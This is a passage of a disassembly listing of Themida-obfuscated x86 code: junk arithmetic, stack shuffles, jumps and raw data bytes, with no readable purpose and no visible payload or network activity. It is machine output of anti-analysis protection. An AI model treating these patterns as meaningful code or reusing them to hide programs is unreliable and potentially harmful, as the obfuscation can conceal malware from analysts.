		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561EF2:				; CODE XREF: Themida_:00564688j
		mov	eax, 460F303Ah
		jmp	loc_560BB1
; ---------------------------------------------------------------------------


loc_561EFC:				; CODE XREF: Themida_:0055DB88j
		push	3DFBh
		mov	[esp], eax
		push	7C62h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_57112C
; ---------------------------------------------------------------------------
		dd 4EC81h, 24890000h, 4BF5724h,	1000000h, 5F04247Ch, 4C3815Bh
		dd 83000000h, 1C8704EBh, 24248B24h, 0E9240489h,	2B1Dh
		dd 8124148Bh, 4C4h, 5A545200h, 108BEE9h, 0E9316600h, 240C8766h
		dd 0FFB38CE9h, 4C483FFh, 0D35AE955h, 0C801FFFFh, 14DCBB53h
		dd 0E3C1248Fh, 0F3C1E902h, 0EB870000h, 74D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_561F81:				; CODE XREF: Themida_:005719B8j
		sub	ebp, eax
		push	edx
		mov	edx, 588F5D72h
		sub	ebp, edx
		pop	edx
		jmp	loc_56E658
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 2
		dd 738BD55h, 0EF313437h, 1C7815Dh, 0F7000000h, 4AC7E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561FAA:				; CODE XREF: Themida_:00564974j
		sub	esi, 53292216h
		jmp	loc_57096E
; ---------------------------------------------------------------------------
		db 0E9h, 33h, 0B3h
		dd 5455FFFFh, 81242C8Bh, 4C4h, 0B0BE5600h, 834BD926h, 348904ECh
		dd 24148724h, 1487D2F7h, 0EE95E24h, 5B0000CCh, 0FFEA94E9h
		dd 5BFE28FFh, 2095EE80h, 0B7535AF1h, 0BEC4E9F2h, 1C890000h
		dd 9B68E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561FFE:				; CODE XREF: Themida_:00572A1Fj
		or	eax, 11AC2CB2h
		xor	eax, 0DA629761h
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 40254431h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	281Ah
		mov	[esp], eax
		mov	eax, 394B1992h
		xor	eax, 502F17E3h
		neg	eax
		or	eax, 315039EDh
		push	ebp
		mov	ebp, 0
		sub	ebp, eax
		xchg	eax, ebp
		jmp	loc_5657A2
; ---------------------------------------------------------------------------


loc_562049:				; CODE XREF: Themida_:0057153Fj
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_569437
; ---------------------------------------------------------------------------


loc_562054:				; CODE XREF: Themida_:00569B0Cj
		pop	cx
		sub	dl, 4Fh
		sub	al, 72h
		add	al, dl
		add	al, 72h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	bl, 65h
		push	ecx
		mov	ch, 43h
		sub	bl, ch
		pop	ecx
		push	eax
		jmp	loc_567609
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 6Ah
		dd 0E9FEF780h, 0A002h
; ---------------------------------------------------------------------------


loc_562080:				; CODE XREF: Themida_:0056C220j
		add	ebp, 4
		jmp	loc_56E125
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 4C48124h,	56000000h, 1069AE9h
		db 0
; ---------------------------------------------------------------------------


loc_56209D:				; CODE XREF: Themida_:005659F3j
		neg	esi
		not	esi
		sub	esi, 215E4214h
		add	eax, esi
		pop	esi
		jmp	loc_56F4A5
; ---------------------------------------------------------------------------


loc_5620AF:				; CODE XREF: Themida_:0057124Aj
		pop	eax
		push	5AA1h
		mov	[esp], ebx
		mov	ebx, 74096732h
		sub	ebx, 5EB33692h
		jmp	loc_56B7DC
; ---------------------------------------------------------------------------
aVzHfv		db ',╒Z(ьhFV',0
		align 2
		dw 0C89h
		dd 448B124h, 0DFF7E922h, 48FFFFFh, 0F7665C24h, 466866F9h
		dd 14896617h, 9C506624h, 0FFB1F8E9h, 241489FFh,	68241C8Bh
		dd 3EEBh, 0E9240C89h, 989Ch, 2BBh, 5BDA8900h, 1067FE9h
		db 0
; ---------------------------------------------------------------------------


loc_562115:				; CODE XREF: Themida_:00570C51j
		push	edx
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		push	edx
		push	1556h
		mov	[esp], eax
		mov	eax, 786E56EAh
		mov	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 0D1914D5h
		sub	edx, 5A877A1h
		jmp	loc_56E1A8
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0C873FACh, 7B9FC781h, 99E97A25h, 83000043h, 5A042404h
		dd 4C281h, 77E90000h, 8900002Ah, 39682414h, 89000054h
		dd 4812424h, 424h, 24148B00h, 6804C483h, 7CECh,	68243C89h
		dd 4, 81243C8Bh, 4C4h, 0FFFA0100h, 535F2434h, 57E95B54h
		dd 68000061h, 51Fh, 0BA241489h,	3CA9698Eh, 4245401h, 8324148Bh
		dd 36E904C4h, 0BDFFFFB1h, 30B0701Ah, 43E9D5F7h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5621C3:				; CODE XREF: Themida_:0055EAF9j
		sub	edi, 54B0621Bh
		xor	edi, 2C58550Bh
		add	ebx, edi
		pop	edi
		add	ebx, edi
		sub	ebx, 31D64092h
		push	eax
		mov	eax, 8AA4043h
		not	eax
		push	esi
		mov	esi, 2CC76979h
		xor	eax, esi
		pop	esi
		neg	eax
		push	esi
		jmp	loc_56F4AD
; ---------------------------------------------------------------------------


loc_5621F3:				; CODE XREF: Themida_:0056EC72j
		xor	edx, eax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		dw 0F62Dh
aPsE		db 8,'%PИ',8,'e',0
		align 4
		dd 2474FF55h, 242C8B04h, 0D851E9h, 241C8900h, 4BBh, 245C0100h
		dd 348B5B04h, 4C48324h,	1CE368h, 24148900h, 4BAh, 0A1EE8100h
		dd 122A379h, 0A1C681D6h, 8B22A379h, 66682414h, 89000070h
		dd 58542404h, 405h, 4C08300h, 0E9240487h, 0FFFFF315h
; ---------------------------------------------------------------------------


loc_56225C:				; CODE XREF: Themida_:005609BEj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0
		sub	esi, ebx
		mov	ebx, esi
		jmp	loc_56C65A
; ---------------------------------------------------------------------------
aS_6		db '[Игу',0
		dd 684A5800h, 29F4h, 0B9240C89h, 4A4C425Eh, 2F19BD55h
		dd 0E921365Ch, 21E9815Dh, 8159187Fh, 369241C1h,	0E9CA21BBh
		dd 2076h, 0C0F8F680h, 0C68002EEh, 0B2ECE932h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5622B2:				; CODE XREF: Themida_:0057064Cj
		sub	ebx, 51E37C9Dh
		add	ebx, eax
		push	edx
		mov	edx, 51E37C9Dh
		add	ebx, edx
		pop	edx
		jmp	loc_565354
; ---------------------------------------------------------------------------


loc_5622C8:				; CODE XREF: Themida_:0056ED2Aj
		add	edi, 4ACFADA3h
		add	eax, 3CE70DD2h
		sub	eax, 3F5468EAh
		add	eax, edi
		add	eax, 3F5468EAh
		push	ecx
		mov	ecx, 2863338Bh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 72596C0Eh
		or	ecx, edi
		pop	edi
		jmp	loc_55D945
; ---------------------------------------------------------------------------


loc_5622F8:				; CODE XREF: Themida_:005646A4j
		mov	eax, 0E88517Ah
		mov	edi, eax
		pop	eax
		xor	esi, edi
		pop	edi
		jmp	loc_567317
; ---------------------------------------------------------------------------
		dd 3849C02Dh, 0BA525536h, 45250391h, 1E4EC281h,	0D589FBE9h
		dd 581EE9h, 56456800h, 0EC810000h, 4, 0C772E9h
		db 0
; ---------------------------------------------------------------------------


loc_562331:				; CODE XREF: Themida_:0056503Ej
		add	edx, 4
		add	edx, 4
		jmp	loc_56C5DC
; ---------------------------------------------------------------------------


loc_562342:				; CODE XREF: Themida_:005703D5j
		add	ebp, 0CA15FD51h
		jmp	loc_5655BA
; ---------------------------------------------------------------------------


loc_56234D:				; CODE XREF: Themida_:0056DD97j
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56C3B6
; ---------------------------------------------------------------------------


loc_56235E:				; CODE XREF: Themida_:00572378j
		add	esp, 4
		jmp	loc_569345
; ---------------------------------------------------------------------------


loc_562369:				; CODE XREF: Themida_:005600C2j
		push	esi
		mov	esi, 116D5557h
		xor	eax, esi
		pop	esi
		jmp	loc_567880
; ---------------------------------------------------------------------------
		db 29h
		dd 0C2F6E9D9h, 4BBFFFFh, 89000000h, 0CE015BD9h,	83240C8Bh
		dd 343304C4h, 24343124h, 8B243433h, 0C6812424h,	4, 2C681h
		dd 0FF560000h, 5E042474h, 8B24048Fh, 4D22424h, 32E99C24h
		dd 31FFFFAFh, 0F981E9FAh, 0EB81FFFFh, 40C5566Ch, 7A87E9h
		dd 243C8900h, 6731BA52h, 0E94217EFh, 437h, 0E958C529h
		dd 3B35h, 0E924348Bh, 8Bh, 34FFF308h, 0C4815A24h, 4, 0F380C3FEh
		dd 0A0CB803Ah, 0E91DB252h, 0EFD3h
; ---------------------------------------------------------------------------


loc_562408:				; CODE XREF: Themida_:0056FA28j
		pop	dword ptr [edx+30h]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5648F3
; ---------------------------------------------------------------------------
		dd 0BAE9574Bh, 81FFFFDBh, 4C4h,	0C195E900h, 53AC0000h
		dd 4EC81h, 44E90000h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56243B:				; CODE XREF: Themida_:0056F1AAj
		add	edi, 4
		jmp	loc_5650A3
; ---------------------------------------------------------------------------
		dw 5F5Ah
		dd 7FBF5751h, 8921380Dh, 243C8BF9h, 4C481h, 0BB530000h
		dd 7B51A65h, 815BD901h,	1E9h, 3C875100h, 87D7F724h, 0A6E9243Ch
		dd 83000058h, 0D00104C4h, 8324148Bh, 802D04C4h,	291F5D70h
		dd 708005D8h, 612D1F5Dh, 680A2B55h, 13F4h, 51243C89h, 1F3A8168h
		dd 240C8B73h, 0E904C483h, 607Bh
; ---------------------------------------------------------------------------


loc_5624AC:				; CODE XREF: Themida_:0056D908j
		add	esi, 4
		jmp	loc_560CF1
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 242C8900h, 58E7B850h, 0D0F71F7Eh, 77D8E9h, 0E907B400h
		dd 52B2h, 4BAh,	5AD50100h, 31242C33h, 2C33242Ch, 24248B24h
		dd 0FFAE00E9h, 241489FFh, 7C647068h, 84E95A14h,	0FF000027h
		dd 835B2434h, 0EBC104C4h, 17EB8102h, 0C178FB76h, 0EB8107EBh
		dd 441686Bh, 5207E3C1h,	0FFD344E9h, 0C8B66FFh, 72006824h
		dd 14890000h, 0E95A5424h, 7526h
; ---------------------------------------------------------------------------


loc_562530:				; CODE XREF: Themida_:0056F54Fj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56F902
; ---------------------------------------------------------------------------
		db 0F7h, 0F1h, 0E9h
		dd 0F47Dh, 0E9DEF766h, 2C42h
; ---------------------------------------------------------------------------


loc_562548:				; CODE XREF: Themida_:0056E8B4j
		or	esi, 6BBF12E4h
		jmp	loc_56B85C
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 8159CB89h, 39042444h, 0E95F417Dh,	92C5h, 0DEE9EE01h
		dd 66FFFFE7h, 5724048Bh, 0BB53E789h, 4,	515BDF01h, 1EF7E9h
		dd 20E95B00h, 89000070h, 0EC832414h, 48F5404h, 24048324h
		dd 24148B04h, 0C320E9h
		db 0
; ---------------------------------------------------------------------------


loc_5625A1:				; CODE XREF: Themida_:0056356Bj
		mov	al, 0CEh
		add	al, 4
		shr	al, 4
		jmp	loc_56AE76
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 81h
		dd 42121EF2h, 0DF28142h, 1DA3B56h, 0C796E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5625C2:				; CODE XREF: Themida_:0055E33Bj
		add	edx, 67542990h
		add	ebp, 1BAD7990h
		add	ebp, edx
		sub	ebp, 1BAD7990h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_565778
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BD242C89h, 0E7C5737h, 4577CD81h, 0AFE9317Eh, 100009Fh
		dd 2434FFD0h, 8B2434FFh, 0C4812414h, 4,	0E904C483h, 1F26h
		dd 54243C89h, 4C7815Fh,	52000000h, 0C281E289h, 4, 58CB68h
		dd 24048900h, 0CC33E9h
		db 0
; ---------------------------------------------------------------------------


loc_562631:				; CODE XREF: Themida_:005678A0j
		mov	[esp], edi
		jmp	loc_56878F
; ---------------------------------------------------------------------------


loc_562639:				; CODE XREF: Themida_:0056D200j
		mov	esi, 0F8AC7B80h
		add	ebp, esi
		pop	esi
		jmp	loc_55FBD8
; ---------------------------------------------------------------------------


loc_562646:				; CODE XREF: Themida_:00571D89j
		add	ebx, 17D193E8h
		add	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 1C7E50F1h
		jmp	loc_56D7E8
; ---------------------------------------------------------------------------
		dw 0D889h
		dd 1018CE9h
		db 0
; ---------------------------------------------------------------------------


loc_562661:				; CODE XREF: Themida_:00571A23j
		add	dword ptr [esp+4], 1CF52255h
		push	dword ptr [esp]
		pop	edi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	460Bh
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_56AC66
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 506604C4h, 0C50827B0h, 0CDFE5866h, 443C580h
		dd 0E48E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5626A2:				; CODE XREF: Themida_:0056AD6Fj
		pop	esi
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		xor	ebx, 1BBD7FD2h
		jmp	loc_56DF40
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4EF81h, 3C870000h, 34895C24h, 44656824h, 14890000h
		dd 0C61BE924h, 8B66FFFFh, 8952240Ch, 4C281E2h, 0E9000000h
		dd 0FFFFB1F1h, 51B55166h, 5966EB00h, 6F3EE9h, 0D5EE8100h
		dd 8169597Dh, 5AC567EEh, 0D7E8E90Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562706:				; CODE XREF: Themida_:00569F3Ej
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55D9E3
; ---------------------------------------------------------------------------
		db 0BFh, 75h, 1Ah
		dd 0C78137E9h, 0C816E58Fh, 4D24EB81h, 74E95DE4h, 100004Bh
		dd 5EE95DEFh, 66000082h, 0E9240489h, 0FFFFABADh, 0C2ED2D05h
		dd 0E9C78958h, 0FFFFB085h, 7827B850h, 0F02D34F0h, 9CA4231h
		dd 7FE958C2h
		db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56275F:				; CODE XREF: Themida_:005605ADj
		push	346Fh
		mov	[esp], eax
		push	35E7h
		mov	[esp], edi
		jmp	loc_5712A9
; ---------------------------------------------------------------------------


loc_562774:				; CODE XREF: Themida_:0056C43Dj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_565BF0
; ---------------------------------------------------------------------------
		dw 3BBFh
		dd 811CB03Ah, 5537AAE7h, 87EF8159h, 0E9046E5Ah,	17B0h
		dd 83243C8Bh, 0BA5204C4h, 20465B32h, 62BCCA81h,	8AE94099h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5627AB:				; CODE XREF: Themida_:0056F5F4j
		push	31947CACh
		jmp	loc_56781B
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5804h, 24248B24h,	0E99CC885h, 0FFFFAB25h,	8704C583h
		dd 248B242Ch, 48CA6824h, 1C890000h, 4EC8324h, 0E9240489h
		dd 13EBh
; ---------------------------------------------------------------------------


loc_5627E4:				; CODE XREF: Themida_:0056D4CBj
		push	eax
		push	esi
		mov	esi, 20h
		mov	eax, esi
		pop	esi
		add	eax, edi
		add	[eax], edx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		neg	dword ptr [edi+20h]
		push	eax
		mov	eax, 20h
		add	eax, edi
		xor	dword ptr [eax], 91E3C207h
		pop	eax
		jmp	loc_56C0F4
; ---------------------------------------------------------------------------
		db 87h
		dd 87D3F7DAh, 0A7E1E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56281E:				; CODE XREF: Themida_:005720BAj
		push	esi
		jmp	loc_563955
; ---------------------------------------------------------------------------
		dd 0E663EF68h, 0E2815A18h, 0BCB21C5h, 3BE9D2F7h, 59FFFFD1h
		dd 5C24048Fh, 0C356E9h,	0C1F58100h, 52796A4Dh, 7A7821BAh
		dd 2DBCE974h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562852:				; CODE XREF: Themida_:00561BDEj
		sub	ebp, eax
		jmp	loc_56F537
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 8B5451CCh, 0C481240Ch, 4, 4C181h, 24E90000h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562873:				; CODE XREF: Themida_:00570319j
		mov	edi, [esp]
		push	12AEh
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_56C26F
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 45h
		dd 0F75D3A38h, 8E1C1D1h, 9DF9F181h, 0CE09BEDBh,	0E9D6F759h
		dd 0FFFFF2EDh, 77FD68h,	243C8900h, 0D305E5BFh, 1BEF812Dh
		dd 811D3B02h, 31AB2F7h,	0CC08E917h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5628BE:				; CODE XREF: Themida_:00561952j
		xor	ebp, 7532307Ch
		sub	ebp, 0B3315D57h
		add	esi, ebp
		pop	ebp
		sub	ecx, esi
		pop	esi
		add	ecx, edx
		push	edi
		mov	edi, 1D916D25h
		add	ecx, 70350BD2h
		sub	ecx, 2F972179h
		add	ecx, edi
		push	edi
		mov	edi, 4606638Bh
		dec	edi
		inc	edi
		shr	edi, 2
		jmp	loc_561580
; ---------------------------------------------------------------------------
aPs_1		db 'PИ╣ы',0
		align 4
		dd 49E9DC88h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562903:				; CODE XREF: Themida_:0055D7AFj
		sub	ebp, 41114C6Ah
		jmp	loc_571EA9
; ---------------------------------------------------------------------------
		dw 932Dh
		dd 89B7277Fh, 73EE9C6h,	38040000h, 382CC828h, 83240C8Bh
		dd 0D80004C4h, 0EF2CB204h, 5CEB68h, 240C8900h, 0EDC0DBB5h
		dd 22685307h, 89000050h, 0A1B1240Ch, 528AC180h,	0B5516AB6h
		dd 0B5CD80AEh, 8021ED80h, 0EE30B7F5h, 79B15159h, 0E959CE20h
		dd 639Dh, 4240481h, 0FF000000h,	685A2434h, 5FFFh, 0E9241C89h
		dd 820h, 8B2434FFh, 0C4812434h,	4, 1AEA68h, 24348900h
		dd 4EC81h, 24890000h, 24048124h, 4, 0C2BD555Eh,	0E93A2E3Ah
		dd 0B67Eh, 0C581DDF7h, 7AE25B90h, 0FFC865E9h, 5FF831FFh
		dd 0FFBCFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5629C1:				; CODE XREF: Themida_:0056D10Cj
		pop	eax
		xor	ebp, [esp]
		jmp	loc_55D5FD
; ---------------------------------------------------------------------------
		dw 7D2Ch
		dd 7D04C828h, 0BAE96A04h, 0E9FFFFDAh, 0FFFFA911h, 0A309CBAh
		dd 0C2814A64h, 32D94C37h, 15AD001h, 65C1E9C6h, 0ED810000h
		dd 3D52503Ch, 76E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5629FD:				; CODE XREF: Themida_:00571E3Cj
		push	3664h
		mov	[esp], edi
		jmp	loc_55D2FB
; ---------------------------------------------------------------------------


loc_562A0A:				; CODE XREF: Themida_:0056BDC6j
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_56113D
; ---------------------------------------------------------------------------


loc_562A19:				; CODE XREF: Themida_:00560385j
		push	edi
		mov	edi, 3F7013F7h
		and	edi, 3F9B3E59h
		and	edi, 72960A89h
		push	eax
		mov	eax, 0CDEFFE03h
		jmp	loc_56DBED
; ---------------------------------------------------------------------------


loc_562A36:				; CODE XREF: Themida_:0056ED8Ej
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 202D7814h
		add	ebp, 0CD6C005h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 543D71C1h
		jmp	loc_56A291
; ---------------------------------------------------------------------------
		dw 4625h
		dd 25737221h, 4AE6347h,	0C27CD405h, 0E9C60113h,	0A456h
; ---------------------------------------------------------------------------


loc_562A70:				; CODE XREF: Themida_:0056AC53j
		xchg	ebx, [esp]
		pop	esp
		push	0D00h
		mov	[esp], ecx
		push	edx
		mov	edx, esp
		jmp	loc_55F6BD
; ---------------------------------------------------------------------------


loc_562A84:				; CODE XREF: Themida_:00568544j
					; Themida_:0056C626j
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 79BD4892h
		xor	[esp+4], edi
		pop	edi
		pop	eax
		push	edx
		push	ebp
		mov	ebp, 668E0EA0h
		push	107Ah
		mov	[esp], esi
		jmp	loc_55E797
; ---------------------------------------------------------------------------


loc_562AAD:				; CODE XREF: Themida_:0056A354j
		xor	al, dh
		jmp	loc_572B18
; ---------------------------------------------------------------------------


loc_562AB4:				; CODE XREF: Themida_:00569CA0j
		sub	ebp, 7DBD3F7Ch
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_56A716
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 48552ED0h, 815FFD29h, 0CB4F69CDh, 0D8E5817Bh, 51347B23h
		dd 3A30DEB9h, 59CD3177h, 7D51EB81h, 0C3814DF7h,	3A2454BAh
		dd 0EB81EB01h, 3A2454BAh, 7D51C381h, 15D4DF7h, 0A8ABE9C3h
		dd 0E1D00000h, 0F6D2F180h, 80D1F6D1h, 0E980D6F1h, 66CA0820h
		dd 23EA8059h, 285AD000h, 8B212CD8h, 0C483241Ch,	13BE904h
		dd 57590000h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
		dd 0FBB241Ch, 897AC3C0h, 0F9315BDFh, 59CD895Fh,	68C8C581h
		dd 50E95F51h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562B67:				; CODE XREF: Themida_:00563C3Cj
		add	dword ptr [esp], 25E754Eh
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0B9E3C0Dh
		inc	esi
		dec	esi
		sub	esi, 0C3E21E8Ah
		push	3E70h
		jmp	loc_56F3CE
; ---------------------------------------------------------------------------
		db 81h
		dd 0AA035DEAh, 81DA2965h, 0AA035DC2h, 2434FF65h, 4C4815Bh
		dd 0E9000000h, 0FFFFD9C3h, 81E68956h, 4C6h, 4EE8100h, 87000000h
		dd 0E95C2434h, 5B04h, 0E924248Bh, 0FFFFF857h
; ---------------------------------------------------------------------------


loc_562BCC:				; CODE XREF: Themida_:005676A3j
		mov	eax, 5F930F74h
		sub	ebx, eax
		jmp	loc_56A601
; ---------------------------------------------------------------------------


loc_562BD8:				; CODE XREF: Themida_:0056BA0Cj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 5F3855BCh
		push	edi
		push	796E7AB1h
		jmp	loc_565AE5
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 8924248Bh, 5E542434h
		dd 4EC81h, 66E90000h, 810000D4h, 4C3h, 74FF5300h, 8F5B0424h
		dd 248B2404h, 0BC68124h, 0E9740314h, 0FFFFC123h, 5793C681h
		dd 50E904FFh, 2DFFFFE3h, 6A6779A8h, 5255F829h, 0A6435468h
		dd 0EA815A0Ch, 0AB342917h, 0EE4EE9h
		db 0
; ---------------------------------------------------------------------------


loc_562C5D:				; CODE XREF: Themida_:0056D6C9j
		push	7AEAh
		mov	[esp], esi
		jmp	loc_568BE3
; ---------------------------------------------------------------------------


loc_562C6A:				; CODE XREF: Themida_:0056178Cj
		not	esi
		jmp	loc_5712FD
; ---------------------------------------------------------------------------
		db 68h,	0BCh, 7Ch
		dd 14890000h, 50E28924h, 4B8h, 5CEA8100h, 12B0C4Eh, 5CC281C2h
		dd 8B2B0C4Eh, 0C4832404h, 4EA8304h, 450DE9h, 0C7816600h
		dd 566C807h, 18E9788Ah,	80000084h, 58669CE9h, 0FFC4C3E9h
		dd 24148BFFh, 4C481h, 0D8300000h, 56241C8Bh, 0C681E689h
		dd 4, 4C681h, 34870000h, 875EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562CDA:				; CODE XREF: Themida_:0055F3CCj
		pop	esp
		jmp	loc_5700CA
; ---------------------------------------------------------------------------
		dd 5686653h, 665B6653h,	323BE381h, 81664366h, 663CFECBh
		dd 8766DBF7h, 0D2F766D3h, 0C9DAE9h, 0E9F70100h,	13AFh
		dd 4659CE31h, 4A69EE81h, 0F3011884h, 43A6E95Eh,	425C0000h
		dd 68F9E281h, 0EA81479Fh, 408D20F5h, 815A5E52h,	0F47031EFh
		dd 81F70154h, 0F47031C7h, 2434FF54h, 4C4835Eh, 1E0EE9h
		dd 0BA525B00h, 4819338Fh, 0D4C1E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562D52:				; CODE XREF: Themida_:00563B2Fj
		mov	ebp, 797245Bh
		or	ebx, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 55E201FDh
		and	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, 47CE5C7Ah
		xor	ebx, edx
		pop	edx
		add	ebx, 226C5ECBh
		xor	ebx, 64D8BCEEh
		mov	edx, ebx
		push	dword ptr [esp]
		jmp	loc_564CAC
; ---------------------------------------------------------------------------
		db 55h
		dd 5E7FE9h, 2CC8FE00h, 3C5768F5h, 28E90000h, 0F6000052h
		dd 3EC180D1h, 2859CA88h, 5A66D0h, 666204D8h, 83241C8Bh
		dd 148B02C4h, 0FD73E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562DCA:				; CODE XREF: Themida_:00564729j
		or	ebp, 440E2E92h
		push	eax
		mov	eax, 1B161C6Fh
		xor	eax, 4A6F4641h
		jmp	loc_571FA3
; ---------------------------------------------------------------------------


loc_562DE0:				; CODE XREF: Themida_:00572B4Fj
		mov	[esp], esi
		push	3A7h
		mov	[esp], eax
		push	ecx
		push	183Ah
		mov	[esp], ebx
		mov	ebx, 6D0D6C65h
		mov	ecx, 875E753Bh
		sub	ecx, ebx
		pop	ebx
		add	ecx, 156123F9h
		sub	ecx, 1C2324E5h
		push	edi
		mov	edi, 53442F1Ah
		and	ecx, edi
		pop	edi
		xor	ecx, 11105509h
		add	ecx, 0FDEBADFEh
		push	5791h
		mov	[esp], ebp
		jmp	loc_55EA3A
; ---------------------------------------------------------------------------


loc_562E2F:				; CODE XREF: Themida_:0056836Fj
		and	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		shl	ebp, 8
		sub	ebp, 8A16474Bh
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		push	ebp
		jmp	loc_5679B1
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 48904ECh,	5E08924h, 4, 633768h, 0A421E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562E6A:				; CODE XREF: Themida_:00571FFBj
		xor	eax, 10F522E3h
		or	esi, eax
		pop	eax
		shl	esi, 2
		push	edx
		mov	edx, 313B7237h
		sub	esi, edx
		pop	edx
		jmp	loc_563C52
; ---------------------------------------------------------------------------
		db 58h
		dd 505AD100h, 0FB0C30B0h, 28C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_562E91:				; CODE XREF: Themida_:00570CB6j
		push	ebx
		push	3987ED9Bh
		pop	ebx
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 378B469Fh
		sub	eax, edi
		push	edi
		mov	edi, 378B469Fh
		add	eax, edi
		jmp	loc_55E984
; ---------------------------------------------------------------------------


loc_562EC4:				; CODE XREF: Themida_:00571F9Ej
		add	edx, 4
		jmp	loc_5645FD
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFB7B9h, 4EB2BB53h, 0EBC1248Ah, 2BEAE902h
		dd 0DCBD0000h, 0E97FD0D9h, 0A2BEh, 0D8005A66h, 0B3D5E9h
		dd 4C78100h, 83000000h,	3C8704C7h, 0B6DBE924h, 6680000h
		dd 89000045h, 0EC81242Ch, 4, 54240489h,	75A9E9h, 0BA52AD00h
		dd 26D9609Ch, 9AFBE94Ah, 0B60F0000h, 0B5ADE9C0h, 1C8BFFFFh
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 3CDE9h
		dd 4C68100h, 87000000h,	815C2434h, 0DFC0DAEEh, 8BF00109h
		dd 89562434h, 4C681E6h,	0E9000000h, 0FFFFEE49h,	0ACE9F809h
		dd 81000014h, 5F2009C3h, 0E9DE29D0h, 0FFFFE46Ch, 0E92434FFh
		dd 0EDB7h, 58C1E954h, 2C8B0000h, 4C48124h, 81000000h, 7000D0EAh
		dd 62A0E911h
		db 2 dup(0)
; ---------------------------------------------------------------------------


